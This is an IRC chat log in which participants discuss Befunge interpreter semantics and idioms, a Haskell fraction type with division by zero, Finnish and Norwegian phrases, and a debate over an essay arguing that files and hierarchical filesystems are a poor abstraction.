20:31:34 <Deewiant> dev_squid: SGML spaces means that "x y" pushes the same three characters as "x y"
20:32:13 <Deewiant> And of course, there's the fact that due to more instructions, you can't rely on them reflecting like they did in Befunge-93.
20:32:23 <alise> *Main> (5//6)*(0//3)
20:32:23 <alise> 0 % 18
20:32:52 <alise> I am not sure this means anything at all.
20:33:00 <Deewiant> dev_squid: Anyway, http://iki.fi/deewiant/befunge/ccbi.html has a binary if you're interested.
20:33:00 <fizzie> Deewiant: Also the stack and fungespace cells have the same size.
20:33:02 <uorygl> Hmm.
20:33:09 <fizzie> Deewiant: '93 had 8-bit fungespace.
20:33:11 <Deewiant> Ah yes.
20:33:14 <AnMaster> cpressey, btw, what do you think should happen on EOF on stdout? The way I read the spec, the program should not end, but reflect
20:33:32 <AnMaster> cpressey, same goes for STDIN
20:33:46 <uorygl> So, (a/b)(c/d) = (ac)/(bd), and a/b + c/d = (ad + bc)/(bd)?
20:33:47 <cpressey> AnMaster: Reflect sounds like saner behaviour that just bombing, for sure.
20:33:52 <cpressey> *than
20:33:56 <alise> Frac m1 n1 + Frac m2 0 = ((m1%n1) + (m2%1)) // 0
20:33:56 <alise> Frac m1 0 + Frac m2 n2 = Frac m2 n2 + Frac m1 0
20:33:56 <alise> Frac m1 n1 + Frac m2 n2 = ((m1*n2)+(n1*m2)) % (n1*n2)
20:34:00 <AnMaster> cpressey, this means that ctrl-d doesn't kill the program of course
20:34:01 <alise> Frac m1 0 * Frac 0 n2 = m1 % n2
20:34:01 <alise> Frac m1 n1 * Frac 0 n2 = 0 // ((n2%1)//(m1%n1))
20:34:03 <alise> (//) :: WT -> WT -> WT
20:34:03 <alise> (Frac m1 n1) // (Frac m2 n2) = (m1*n2) % (n1*m2)
20:34:11 <Deewiant> In general everything should reflect, not bomb
20:34:13 <uorygl> There's nothing inconsistent about treating 0/0 and its brethren that way.
20:34:13 <alise> I'm not done with *
20:34:20 <uorygl> Or is there?
20:34:21 <fizzie> Deewiant: Yeah, then we wouldn't have any wars.
20:34:23 <AnMaster> Deewiant, well iirc you didn't catch SIGPIPE?
20:34:28 <dev_squid> Deewiant, thanks.
20:34:33 <AnMaster> fizzie, augh
20:34:34 <Deewiant> fizzie: Exactly!
20:34:46 <fizzie> World peace via Befunge.
20:34:51 <AnMaster> Deewiant, hey there
20:34:51 <Deewiant> AnMaster: Might be, haven't tested.
20:34:54 <AnMaster> Deewiant, wrong url
20:34:57 <AnMaster> Deewiant, you meant "http://iki.fi/matti.niemenmaa/befunge/ccbi.html"
20:34:58 <AnMaster> :P
20:35:06 <alise> uorygl: Who knows?
20:35:16 <AnMaster> Deewiant, see, if you forget that yourself, don't complain when I don't use the perma link :P
20:35:19 <Deewiant> AnMaster: They're equivalent, but no point in giving both alternatives on t he site.
20:35:25 <Deewiant> AnMaster: Both are permalinks.
20:35:27 <uorygl> Well, see if those are associative, commutative, and distributive.
20:35:30 <AnMaster> Deewiant, hrrm
20:36:04 <alise> uorygl: They are not distributive.
20:36:12 <uorygl> No?
20:36:13 <alise> I'm sacrificing that for having "coherent" division-by-zero.
20:36:18 <alise> uorygl: Uh, I don't think so...
20:36:20 <dev_squid> Deewiant, works perfectly. Thanks.
20:36:25 <uorygl> What does the failure of distributivity look like?
20:36:32 <Deewiant> dev_squid: No problem. :-)
20:36:36 <alise> I don't actually remember, I've been banging this out for a whole
20:37:08 <alise> *Main> 0*(1//(3//0))
20:37:08 <alise> 0 % 3
20:37:09 <alise> :(
20:37:15 <alise> Needs to be 1... or, wait, no.
20:37:16 <Deewiant> AnMaster: It's just when I type them by hand, "deewiant" is shorter so I use that.
20:37:23 <alise> *Main> (3//0)*(1//(3//0))
20:37:23 <alise> 1 % 1
20:37:24 <alise> Yay!!
20:37:27 <AnMaster> Deewiant, heh
20:37:32 <alise> *Main> (3//0)*(2//(3//0))
20:37:32 <alise> 1 % 1
20:37:33 <alise> Nay!!
20:37:44 <alise> uorygl: fixem
20:40:15 <alise> Meh
20:43:45 <alise> Sgeo__: ping
20:45:54 <dev_squid> cpressey, beautiful. (http://pastie.org/850514)
20:46:32 <AnMaster> why 00 at the start? Seems pointless
20:46:41 <AnMaster> to push zeros on an empty stack
20:46:51 <AnMaster> after all popping from empty stack yields zero
20:47:36 <cpressey> AnMaster: does cfunge optimize away pushing zero onto an empty stack? :)
20:47:45 <Deewiant> What's with the infinite loop at the bottom
20:47:59 <AnMaster> cpressey, that would take too long checking for!
20:48:02 <Deewiant> Probably not worth optimizing that
20:48:04 <Deewiant> Yeah
20:48:15 <cpressey> BUT THINK OF THE WASTED SPACE etc
20:48:20 <AnMaster> cpressey, in an optimising JIT it might be worth it
20:48:28 <AnMaster> cpressey, also, the stack size in y wouldn't work out
20:48:39 <AnMaster> cpressey, and I just use ip->stack->top for it
20:48:50 <AnMaster> (ip->stack points to TOSS)
20:48:59 <dev_squid> AnMaster, true.
20:49:02 <cpressey> Ah yes, you can check for that can't you. It means zeros at the bottom of the stack have to be recorded somehow.
20:49:15 <alise> Recorded... with LOVE
20:49:24 <AnMaster> cpressey, well yes, and that would mean another 8 bytes wasted!
20:49:27 <Deewiant> Mycology tests that \ on an empty stack increases the stack size to 2
20:49:36 <AnMaster> yes it does
20:49:45 <AnMaster> which broke my optimisation of \
20:49:50 <AnMaster> which was peek, push
20:49:51 <Deewiant> And mine :-)
20:49:56 <AnMaster> instead of pop push push
20:50:39 <AnMaster> cpressey, but cfunge does stuff like only shrink the bounds of funge space in case anyone looks
20:50:42 <Deewiant> if (empty) push zeroes else peek push - might be faster
20:50:51 <dev_squid> Deewiant, it's there because the interpreter doesn't seem to have a pause-at-terminate option.
20:50:57 <AnMaster> Deewiant, I actually do that :P
20:51:06 <Deewiant> AnMaster: :-)
20:51:20 <Deewiant> dev_squid: Well yes, it generally assumes command prompt usage
20:51:29 <Deewiant> dev_squid: You can always use ~ before @
20:51:40 <AnMaster> but that is wrong IMO :P
20:51:50 <AnMaster> because normal usage is from terminal
20:51:53 <Deewiant> Better than an infinite loop IMO
20:51:58 <AnMaster> true
20:52:04 <dev_squid> Deewiant, true. I just drag and drop. I'm lazy.
20:52:17 <AnMaster> that seems like more working than just typing
20:52:21 <Deewiant> Whatever floats your boat :-P
20:52:24 <AnMaster> since you have the terminal open anyway all the time
20:52:36 <Deewiant> I doubt he does
20:52:40 <AnMaster> oh yeah windows
20:52:47 <AnMaster> forgot windows terminal sucks
20:53:01 <alise> AnMaster: Please blow your predictable hot air elsewhere.
20:53:04 <alise> Yes, Windows sucks. We get it.
20:53:09 <AnMaster> alise, I didn't say that.
20:53:12 <alise> But it's really not interesting, that it sucks.
20:53:12 <dev_squid> Deewiant, if you want to get technical, ~ is, itself, and infinite loop.
20:53:17 <AnMaster> alise, what I said was that cmd.exe sucks
20:53:26 <alise> "since you have the terminal open anyway all the time" is obviously just prelude to "OH LOL WINDOWS SUX"
20:53:43 <AnMaster> alise, and if you disagree with that cmd.exe sucks, please explain why
20:53:47 <Deewiant> dev_squid: How's that
20:54:02 <dev_squid> I'm so oldschool, I don't use a desktop environment on my Linux platform. /flex
20:54:17 <Deewiant> AnMaster: command.com is worse
20:54:22 <AnMaster> Deewiant, true
20:54:32 -!- asiekierk has quit (Ping timeout: 240 seconds).
20:54:46 <AnMaster> heh, like the programming teacher at university. He used twm. I was really surprised first time he hooked up his netbook to the projector....
20:55:06 <Deewiant> What's wrong with twm? :-P
20:55:16 <AnMaster> Deewiant, very funny
20:55:22 <dev_squid> Deewiant, well, ~ is an infinite loop that breaks when stdin changes.
20:55:23 <AnMaster> Deewiant, ask alise instead
20:55:28 <AnMaster> dev_squid, what?
20:55:39 <AnMaster> dev_squid, ~ just waits, it doesn't busy loop
20:55:43 <Deewiant> dev_squid: Well, semantically, I suppose you can say that
20:56:05 <Deewiant> It's an argument from convenience, of course
20:56:14 <uorygl> `translate B skal straks se film med C.
20:56:24 <HackEgo> B must immediately watch movies with C.
20:56:35 <AnMaster> uorygl, if that is Swedish, it is extremely confusing...
20:56:41 <uorygl> Oh?
20:56:44 <dev_squid> AnMaster, ~ doesn't halt the program (interpreter). It sends it into a loop that breaks when you input a character.
20:56:57 <dev_squid> AnMaster, execution never halts.
20:57:11 <uorygl> `translate Hva de skal se, vites ikke enda!
20:57:13 <HackEgo> What to see, is not known yet!
20:57:17 <Deewiant> Is "skal" Swedish in that kind of meaning? I think not.
20:57:27 <AnMaster> uorygl, "B shall/bark straks view movie with C"
20:57:33 <AnMaster> uorygl, where "straks" doesn't exist
20:57:58 <Deewiant> From the second example I am convinced that this is Norwegian
20:58:03 <AnMaster> uorygl, wait, it isn't shall or bark
20:58:05 <AnMaster> uorygl, it is "shell"
20:58:11 <AnMaster> uorygl, since there is only one l
20:58:12 <Deewiant> Yep, in Swedish
20:58:15 <uorygl> I guess it's not Swedish, then.
20:58:20 <Deewiant> It's Norwegian.
20:58:29 <AnMaster> Deewiant, probably
20:58:32 <AnMaster> or Danish?
20:58:44 <Deewiant> I'm pretty sure "hva" is only Norwegian.
20:58:54 <AnMaster> <uorygl> `translate Hva de skal se, vites ikke enda! <-- yeah that looks like Norwegian indeed
20:59:35 <uorygl> Jatsu tsappari dikkari dallan tittari tillan titstan dullaa, dipidapi dalaa ruppati rupiran kurikan kukka ja kirikan kuu.
20:59:46 <AnMaster> uorygl, I defer to Deewiant on that one
20:59:48 <AnMaster> :P
20:59:54 <Deewiant> It's from Ievan polkka
21:00:08 <AnMaster> Deewiant, and what is that?
21:00:17 <uorygl> It's Finnish that doesn't mean anything, I think.
21:00:19 <Deewiant> A song
21:00:23 <AnMaster> Deewiant, I see
21:00:27 <uorygl> http://leekspin.com/
21:00:42 <cpressey> <3
21:00:43 <AnMaster> uorygl, ? Missing plugin?
21:00:47 <Deewiant> And yes, it's just onomatopoeic, it doesn't mean anything
21:00:59 <alise> uorygl: <3
21:01:14 <Gregor> uorygl: Nice subversion :P
21:01:15 <alise> LOVEFEST
21:01:19 <Deewiant> The leekspin one is a sped-up version of the Loituma one, IIRC
21:01:38 <Deewiant> Might not be sped up, can't remember.
21:01:41 <uorygl> Is it sped up?
21:01:54 <Deewiant> You want me to check? :-P
21:02:43 <uorygl> It doesn't seem to be sped up.
21:02:45 -!- cmeme has joined.
21:02:51 <Deewiant> That one isn't, at least.
21:03:02 <Deewiant> I seem to recall a version that was but maybe I'm thinking of something else
21:03:16 <uorygl> Nuapurista kuulu se polokan tahti jalakani pohjii kutkutti.
21:03:32 <Deewiant> Ah, I actually think I'm thinking of caramelldansen
21:04:11 <Deewiant> "From the neighbour's sounded the polka's beat the bottoms of my feet were tingling" or something to that effect
21:04:46 <uorygl> The translation I saw was something like ". . . and set my feet a-tapping, oh!"
21:05:02 -!- MigoMipo has quit (Read error: Connection reset by peer).
21:05:17 <Deewiant> That's less direct a translation but equally valid I suppose
21:05:27 * uorygl nods.
21:07:05 -!- cal has joined.
21:07:05 -!- cal has quit (Client Quit).
21:08:55 <alise> Deewiant: you should host an .html file for me. In return, I will grant you: ONE (1) KITTEN UNICORN
21:09:15 <Deewiant> Sounds nifty. What .html?
21:09:46 <alise> It's called files-suck.html and it is about how files suck.
21:09:57 <alise> Yes, I realise that it is itself a file.
21:10:02 <alise> I blame society^Woperating systems.
21:10:28 <Gregor> lawl, I'd love to see this :P
21:10:30 <Deewiant> You want this permanently hosted or why're you asking me?
21:11:17 <alise> Well, because I'm not entirely sure who else to ask. There isn't an htmlpaste.org or anything :P
21:11:29 <alise> Gregor: THEN HOST IT
21:11:40 <pikhq> There should be an htmlpaste.org.
21:11:44 <Deewiant> Does it lose much in plaintext form, then? :-P
21:11:56 <alise> Beautiful typography :|
21:12:05 -!- augur has quit (Read error: Operation timed out).
21:12:13 <alise> And ITALICS
21:12:51 <Deewiant> I'll host it if I get to put a CSS saying * { font-family: monospace } associated with it
21:13:01 <alise> If you do that I verily will cry
21:13:23 <Gregor> How about font-face: Comic Sans
21:13:35 <Deewiant> That works too I suppose
21:13:35 <alise> "Google is working on strong AI in the same way that NASA is working on interplanetary travel. Not yet, but...someday. They're working on the smaller problems that need solving, and eventually they'll put it all together." —Norvig
21:13:35 <alise> I sure hope they know how to make individual components Friendly.
21:13:40 <alise> Gregor: HOST IT
21:13:54 <alise> uorygl: Host it — in SPACE.
21:14:33 <Gregor> Can I host it at http://codu.org/stupid-nonsense/files-suck.html
21:14:40 <uorygl> Host what?
21:15:01 <alise> uorygl: It's an .html file.
21:15:30 <uorygl> Host it on Normish.
21:15:57 <alise> But I forgot every single thing about Normish.
21:16:42 <uorygl> Like its IP address?
21:16:48 <alise> Well, for one.
21:17:00 <uorygl> Its IP address can be found somewhere in #rootnomic.
21:17:28 -!- dev_squid has quit (Ping timeout: 260 seconds).
21:18:15 <AnMaster> why isn't there Comic Sans Mono?
21:18:18 <AnMaster> I mean, combine them
21:18:21 <Gregor> X-D
21:18:25 <Gregor> Best worst idea ever.
21:18:31 <alise> ow
21:18:40 <uorygl> I ostensibly own normish.org and all, but I can't be bothered trying to figure out who I have it registered with.
21:18:48 <AnMaster> Gregor, should be a bitmap font of course
21:18:52 <AnMaster> :D
21:19:06 <Gregor> YES.
21:19:36 <AnMaster> Gregor, and the official name should he the full old style X font string
21:19:45 -!- dev_squid has joined.
21:19:47 <Gregor> YES. YES YES YES.
21:20:00 <Gregor> AnMaster: You are my temporary hero. :P
21:20:09 <AnMaster> Gregor, and we should force alise to actually make this font for us
21:20:14 <AnMaster> in return for hosting that thing
21:20:24 <AnMaster> (and that thing should be forced to use this font)
21:20:34 <AnMaster> of course, it had to be done propertly according to specs
21:20:39 <pikhq> alise: I suggest a data URL.
21:20:40 <Gregor> Because finding a way to host a file is sooooo difficult :P
21:20:41 <dev_squid> Befunge question. What's a good tactic to use when you're trying to print a fixed number of ASCII characters from the stack?
21:20:42 <dev_squid> Fixed.
21:20:46 <alise> pikhq: Way too big
21:20:57 <uorygl> Point a CNAME record at a data URL.
21:21:02 <AnMaster> dev_squid, why fixed? But for 98? k
21:21:07 <uorygl> :P
21:21:15 <Deewiant> dev_squid: Befunge-98: push the number of characters minus one, then use "k," (without the quotes)
21:21:22 <AnMaster> dev_squid, for 93, I would do a 0gnirts instead
21:21:33 <pikhq> alise: Oh, hey. http://pastehtml.com/
21:21:35 <Gregor> uorygl: CNAMEs don't point at URLs
21:21:48 <alise> pikhq: The main person who needs it may technically already have it.
21:21:51 <alise> >_>
21:22:08 <uorygl> Hence the :P
21:22:15 <dev_squid> AnMaster, 0gnirts?
21:22:26 <AnMaster> dev_squid, 0"string goes here"
21:22:29 <pikhq> So, yeah. Pastey?
21:22:29 <Deewiant> dev_squid: 0-terminated string stored last-to-first
21:22:38 <AnMaster> dev_squid, well that is 0"gnirts" of course
21:22:42 <Deewiant> I.e. first character on top, so it's easy to print
21:22:45 <AnMaster> Deewiant, then you can use the common idiom for it
21:22:53 <dev_squid> AnMaster, yep. Okay. :)
21:22:53 <AnMaster> Deerr
21:22:54 <AnMaster> err
21:22:55 <Deewiant> AnMaster: I know this.
21:22:55 <AnMaster> dev_squid, ^
21:22:57 <Deewiant> :-P
21:23:02 <AnMaster> De<tab> :P
21:23:06 <AnMaster> and "last spoke"
21:23:22 <AnMaster> dev_squid, anyway: the idiom being >:#,_
21:23:25 <Deewiant> Maybe you should read what you type
21:23:31 <AnMaster> (mirrored and vertical versions exist)
21:23:37 <dev_squid> AnMaster, oh, I'm so dumb. I was thinking "Crap, if I use >:#,_ then I'll run into my other data"
21:23:45 <dev_squid> I just push a 0 before...*facedesk*
21:23:46 <AnMaster> Deewiant, no, I read what other people say while I'm typing
21:23:46 <dev_squid> :)
21:24:07 <Deewiant> AnMaster: Maybe you should glance over your line on occasion
21:24:15 <Deewiant> I have no trouble reading both at once
21:24:30 <uorygl> Just point one eye at each thing you want to look at.
21:24:31 <AnMaster> Deewiant, well sure, but then you have to disconnect your eyes
21:24:39 <AnMaster> uorygl, hah, beat you to it!
21:24:42 <AnMaster> by half a second
21:24:45 <uorygl> On the contrary.
21:25:01 <Deewiant> AnMaster: You lost from my POV
21:25:05 <AnMaster> uorygl, well, lag means we will never know
21:25:14 <AnMaster> who was truly first
21:25:20 <AnMaster> * Ping reply from uorygl: 1.08 second(s)
21:25:39 <uorygl> I have about a hundred milliseconds of "extra" lag.
21:25:43 <Deewiant> More like there is no "truly first"
21:25:53 <AnMaster> Deewiant, oh?
21:25:56 <alise> Why Files Suck: http://pastehtml.com/view/5tmr7u1.html
21:26:01 <alise> Have at it, you gallery of peanuts.
21:26:12 <AnMaster> alise, why is it like very narrow
21:26:14 <AnMaster> it looks weird
21:26:17 <AnMaster> in my browser
21:26:20 -!- cpressey1 has joined.
21:26:26 <alise> 30em ~= 10 words a line ~= best typographical reading width.
21:26:30 <alise> Look at a book's width sometime.
21:26:34 <AnMaster> alise, why not center it in the window
21:26:40 <AnMaster> rather than have it aligned out at the edge
21:26:50 <AnMaster> that way I have to turn my head slightly to read it
21:26:50 <alise> Dunno. Didn't feel like it. Would look weird with ragged-right text, anyway.
21:27:02 <AnMaster> not comfortable for long sections
21:27:13 <AnMaster> alise, why not adjusted margins?
21:27:33 <alise> Browsers are really, really bad at justified text.
21:27:36 * AnMaster is forced to un-maximise browser window and move it so the text is near the middle
21:27:45 <alise> Oh, the horror.
21:27:46 <AnMaster> alise, why don't they just implement the TeX algo?
21:27:51 <alise> Because that's hard.
21:28:33 <uorygl> "A superior way to represent [a collection of unordered photos] would be as an unordered bag."
21:28:37 <uorygl> How would that be easier for anyone?
21:28:53 <Deewiant> My browser size was already 797x358 or thereabouts
21:28:55 <AnMaster> alise, indeed. You know why Hitchcock never made a horror/thriller about unmaximising the browser window?
21:29:02 <AnMaster> alise, well, because it was too horrible of course
21:29:05 <dev_squid> Just double-checking...if I use a null-terminates string with >:#,_ the 0 will be popped off, right?
21:29:09 <alise> Or because they didn't have browsers then :P
21:29:14 <AnMaster> alise, well that too
21:29:30 <alise> uorygl: No needless arbitrary naming with the disadvantages given; it fundamentally is an unordered bag
21:29:34 <Deewiant> dev_squid: No, it won't.
21:29:41 <AnMaster> dev_squid, well, yes but also duplicated before that
21:29:43 <Deewiant> Append a $ for that
21:29:46 <AnMaster> so there will be one zero at the end
21:29:51 <alise> uorygl: Anyway, I think I come back to that later. Maybe.
21:29:57 <AnMaster> Deewiant, the zero *will* be popped off, just not the last zero
21:30:01 <AnMaster> since it was duplicated
21:30:12 <Deewiant> AnMaster: "the" zero that was there originally is not popped off
21:30:16 -!- cpressey has quit (Ping timeout: 268 seconds).
21:30:27 <uorygl> alise: so the lack of any way to refer to a specific file using a string makes things easier for the user?
21:30:28 <dev_squid> AnMaster, oh I see.
21:30:30 <AnMaster> Deewiant, well, depends on how : is implemented
21:30:31 <AnMaster> :P
21:30:45 <Deewiant> Semantics, not implementation details, please.
21:30:54 <alise> uorygl: Meaningless. My proposed system has no "files".
21:31:06 <uorygl> alise: so the lack of any way to refer to a specific photo using a string makes things easier for the user?
21:31:06 <alise> Anyway read the rest before making a judgement based on the incomplete impression of the proposed system you have
21:31:14 <uorygl> Sure.
21:31:16 <alise> uorygl: I never suggested there was such a lack.
21:31:19 <AnMaster> dev_squid, but Deewiant's answer is actually more useful than mine. Mine is just trying to answer to something else by exploiting loopholes in the question :P
21:31:26 <alise> Anyway, it does not propose a solution.
21:31:33 <alise> It says /why/ we need a solution, and some aspects it should have.
21:32:08 <dev_squid> Okay, so to review, the right-to-left version of >:#,_ is _!,#: right?
21:32:13 -!- cpressey1 has changed nick to cpressey.
21:32:15 <Deewiant> Nope
21:32:41 <AnMaster> alise, photos often have inherent ordering due to "taken before/after"
21:32:49 <Deewiant> dev_squid: It's _,#! #:<
21:32:53 <alise> That's one particular ordering you can give them.
21:33:00 <alise> Not an /inherent/ ordering.
21:33:04 <AnMaster> alise, the one the camera gives them and a rather useful one
21:33:10 <AnMaster> but sure
21:33:51 <dev_squid> Deewiant, yeah, I just found the flaw. :)
21:34:23 <AnMaster> alise, also, for many purposes a directory/file name model fits very well
21:34:43 <alise> AnMaster: Firstly, no it doesn't. Secondly, that doesn't mean there aren't better structures.
21:34:52 <AnMaster> alise, like, "project/{source_data.csv, report.tex}"
21:34:54 <AnMaster> or such
21:35:02 <alise> Sure. That's just a hierarchy.
21:35:10 <AnMaster> of course, the file extension is another matter
21:35:18 <alise> Here it is in OOP: project.source_data is-a Table
21:35:23 <alise> project.report is-a TypesetDocument
21:35:32 <alise> OOP is just one way you could represent that, of course.
21:35:36 <AnMaster> alise, typeset with what system
21:35:42 <alise> It was an example, dammit.
21:35:45 <AnMaster> :P
21:35:59 <uorygl> So, you say that a superior way to represent the collection of photos would be as an unordered bag.
21:36:10 <AnMaster> alise, why not Document.Type.TypesetDocument.TeX.LaTeX? :P
21:36:14 <uorygl> A directory full of files *is* an unordered bag, except that each file has a unique label.
21:36:24 -!- augur has joined.
21:36:31 <uorygl> As far as I know, those labels never get in the way of anything.
21:36:42 <alise> uorygl: Here is an example path — just one of many possible sort of syntaxes — you could use.
21:36:43 <AnMaster> alise, as opposed to Document.Type.TypesetDocument.TeX.ConTeXt or Document.Type.TypesetDocument.roff.nroff
21:36:54 <alise> photos.select {takenAt==exactTimestamp}
21:36:56 <AnMaster> (or should that last one just be troff?)
21:37:00 <alise> Perhaps my example was not the best.
21:37:05 <alise> My other points apply regardless, though.
21:37:06 <AnMaster> alise, ah, object database
21:37:09 <AnMaster> I see what your aim is
21:37:13 <alise> AnMaster: No, that's ONE EXAMPLE.
21:37:14 <alise> I hate OOP.
21:37:16 <alise> I don't want OOP.
21:37:19 <AnMaster> ah okay
21:37:21 <alise> But most people understand OOP.
21:37:33 <alise> Most people wouldn't understand my system without lots of backstory to how it works :P
21:37:34 <AnMaster> alise, anyway the file name isn't used to order the files
21:37:45 <alise> Never said it was.
21:37:54 <uorygl> I guess programs have a reason for storing stuff in databases rather than directly in files.
21:38:04 <alise> In a collection of photos, no photo has an inherent “name” — one must be constructed from some arbitrary properties of the photo. If the properties are not chosen well enough, there might even be conflicts. These are usually resolved by appending a meaningless number to the photo considered later — even though there is no inherent ordering.
21:38:06 <alise> The point is
21:38:11 <alise> we save photos to disk in a certain arbitrary ordering
21:38:23 <alise> we append -1,-2, etc when we've already seen a photo with the same generated name
21:38:28 <AnMaster> uorygl, well, ACID is a pretty good reason for some usages
21:38:35 <alise> but "which ones have -1" is completely arbitrary and stupid
21:38:37 <alise> because there is no ordering
21:38:44 <alise> we're exposing an implementation detail of the disk-saver
21:39:00 <uorygl> Hmm, I like the idea of not exposing implementation details.
21:39:17 -!- MigoMipo has joined.
21:39:26 <AnMaster> alise, there are good reasons to store images as png rather than raw uncompressed bits
21:39:32 <alise> AnMaster: Read on.
21:39:33 <alise> Read on.
21:39:37 <alise> Read the whole section before commenting! Jesus.
21:39:51 <alise> It's not a long article, and it covers that point :P
21:39:55 <AnMaster> alise, also, what is the image format you suggest? What about 32 bit floating point numbers per channel?
21:40:01 <alise> READ
21:40:01 <alise> ON
21:40:16 <uorygl> Reading about Objective-C and how "transparent" it is really made me...
21:40:24 <dev_squid> Just one more question. What if I want to subtract a number and an already-pushed number in the reverse order that - does the job?
21:40:25 <alise> uorygl: ...ontologise?
21:40:30 <uorygl> Think about C and its pointers and how they're really inconvenient for a certain niche purpose.
21:41:03 <alise> Also, although I doubt anyone here will ever want to link to this piece of complete and utter tripe :P, http://catseye.tc/ehird/files-suck.html is now a more permanent home for it. Thanks cpressey!
21:41:40 <AnMaster> alise, if I just dumped some of those panoramas I made to disk I would get images half a GB large. That is why you use deflate on them. Even between the programs used to operate on said files.
21:41:49 <alise> Okay, I will say this one last time.
21:42:04 <AnMaster> I'm at the next section now
21:42:04 <alise> Until you read the entire thing /I will not answer anything more you say about it/ because this is /covered/.
21:42:52 <AnMaster> "Surely the very fact that we so often forget to save our files should set alarm bells off in the mind of anyone who wants to improve user interfaces."?
21:42:54 <AnMaster> that isn't true
21:43:02 <AnMaster> I usually save every half minute or such
21:43:13 <Deewiant> "We" is not "you"
21:43:36 <AnMaster> Deewiant, you forget to save files?
21:43:44 <AnMaster> I never met anyone that had that issue mentioned there really
21:43:46 <Deewiant> "We" is not "me" either
21:44:14 <Deewiant> I've heard of people losing significant amounts of data come power failure or similar
21:45:20 <AnMaster> so I read it all
21:45:31 <AnMaster> alise, how would this transparent compression/parsing work then?
21:45:56 <AnMaster> alise, would it be in the OS?
21:46:00 <AnMaster> alise, now I read it all
21:46:03 <AnMaster> so you have to answer
21:46:25 <Gregor> alise's wording is so hilariously whiny that it's hard to figure out what parts are the actual arguments and which parts are just whining :P
21:46:32 <AnMaster> Gregor, true
21:46:46 <AnMaster> and the whole thing breaks down because there aren't common formats for many purposes
21:47:21 <AnMaster> would there be a OS level supported document.cas for mathematica and maxima?
21:47:34 <AnMaster> (never mind that those aren't compatible in design at all)
21:47:53 <AnMaster> and then, png can't be used for HDR images
21:48:04 <AnMaster> due to a lack of support for such things as floating point values per channel
21:48:44 <AnMaster> and the number of data formats that could be somewhat commonly supported is huge. And should you use lossy or loseless?
21:49:00 <alise> Presumably, mathematica has a data structure it stores notebook files in.
21:49:24 <AnMaster> alise, also png doesn't support layers for example
21:49:36 <AnMaster> would you use xcf or psd? Or something that supported both?
21:49:57 <alise> You assume that there is one single type to represent images for everyone.
21:50:01 <AnMaster> alise, no
21:50:02 <alise> You assume there is only one format per single type.
21:50:03 <AnMaster> I don't
21:50:09 <alise> Yes you do because your arguments are based on that.
21:50:15 <AnMaster> but I point out that apart from common data interchange formats this breaks down
21:50:35 <alise> "[21:47] AnMaster: and then, png can't be used for HDR images"
21:50:40 <alise> So HDRImage doesn't support the PNG backend.
21:50:51 <AnMaster> alise, What exactly is HDRImage?
21:50:55 <AnMaster> that sounds like a single thing
21:50:57 <AnMaster> which it is not
21:51:03 <alise> And if you want to process HDR images in a special way that some standard HDRImage class wouldn't work for, just have your own HDRImage in your thing.
21:51:14 -!- ruhtranayr has joined.
21:52:43 <AnMaster> alise, sorry, but that statement doesn't mean anything until you define what you suggest a "standard HDRImage class" would be able to do
21:52:49 <alise> Not a class.
21:52:59 <AnMaster> alise, I copied that from you
21:53:02 <alise> The vector class in a standard library may not be appropriate for all uses of vectors.
21:53:09 <AnMaster> indeed
21:53:10 <alise> Which is why you make your own if it's not suitable.
21:53:12 <alise> Duh.
21:53:35 <AnMaster> alise, well, but point is then you need to define your own way to serialise it
21:53:41 <alise> No.
21:53:54 <alise> All objects have a common serialisation format. If you want to use the standard image backends, call them according to their interface.
21:53:56 <AnMaster> because what you don't want to do is store any HDR image raw.
21:54:00 <dev_squid> My second Befunge program. :)
21:54:01 <dev_squid> http://pastie.org/850663
21:54:05 <AnMaster> that 500 MB is *after* deflate
21:54:06 <AnMaster> not before
21:54:10 <alise> See above.
21:54:14 <AnMaster> before is several times larger
21:54:25 <AnMaster> alise, then you need to interface with it
21:54:34 <pikhq> AnMaster: Deflate is a piss-poor compression format for most anything. ;)
21:54:48 <alise> AnMaster: Trivial. Defining such a custom representation should not be very common, anyway.
21:54:53 <alise> There will be a library entirely for it, most likely.
21:54:53 <AnMaster> pikhq, you know png uses it? And that works out quite well
21:54:55 <Deewiant> dev_squid: Note that if you don't really have a need to head left after printing, you can also use >:#,_v#: which heads down at the v when it's done
21:55:12 <pikhq> AnMaster: Still crap.
21:55:16 <alise> pikhq: I take it you, being sane, have mostly no objections to the article :P
21:55:23 <AnMaster> pikhq, also, since tiff is the common format here, you have basically packbits, lzw deflate to select from
21:55:30 <pikhq> alise: Eh, it's a bit whiny. But *shrug*.
21:55:31 <AnMaster> pikhq, and there, deflate beats the other ones
21:55:41 <alise> I meant the contents, not the whininess.
21:55:48 <pikhq> Mmm.
21:55:52 <pikhq> Not especially.
21:56:25 <alise> I didn't write it to be whiny, anyway. Maybe it's just because I'm almost certain I'm right :P
21:56:30 <AnMaster> alise, I always found file systems a very nice way to organise data though. *shrug*
21:56:34 <alise> Either that or I'm inherently whiny.
21:56:39 <AnMaster> alise, the latter!
21:56:57 <alise> AnMaster: 1, you don't know any better systems. 2, we've established that you're basically designed for using Unix.
21:56:58 <AnMaster> alise, also, go implement it
21:57:02 <pikhq> AnMaster: I find that file systems work very well for organising very specific forms of data.
21:57:03 <alise> That just makes /you/ faulty. :-)
21:57:04 <alise> AnMaster: I am.
21:57:11 <AnMaster> alise, I do like plan9 though
21:57:12 <pikhq> Anything inherently hierarchical, basically.
21:57:14 <alise> I have to write the principles to create a design to implement it.
21:57:27 <alise> pikhq: Which is no reason to make everything a tree, of course.
21:57:33 <AnMaster> alise, I just don't want to use it for daily use due to the lack for certain things, like supporting my disk controller
21:57:39 <cpressey> I find that hierarchical file systems fail where hierarchies fail.
21:57:40 <pikhq> alise: Yes. Just saying they work very well when a tree is natural. ;)
21:57:45 <AnMaster> (at least last I checked)
21:57:50 <alise> Trees: Good for representing trees.
21:57:54 <AnMaster> pikhq, yes
21:58:00 <pikhq> alise: Yes.
21:58:09 <alise> Yes.
21:58:48 * pikhq would like to see an OS where you just stick values in data structures when you want them to be organised somehow.
21:59:16 <AnMaster> pikhq, that is scheduled to be invented right after the "do what I mean" operation
21:59:19 <dev_squid> What if I "p" a null or non-printable ASCII character to a position? Will the rest of the line shift left?
21:59:19 <alise> Hi, my OS here. I'd ask you to purchase me, but it's free.
21:59:26 <alise> AnMaster: What? You believe serialising data structures is hard?
21:59:28 <AnMaster> pikhq, still a few years off sadly :P
21:59:33 <pikhq> Uh.
21:59:35 <AnMaster> alise, no...
21:59:39 <alise> Orthogonal persistence: Yeah, serialise objects to disk. Easy.
21:59:44 <pikhq> I'm asking for freaking Smalltalk.
21:59:48 <alise> A user interface where you create a data structure: That's what ... most UIs are.
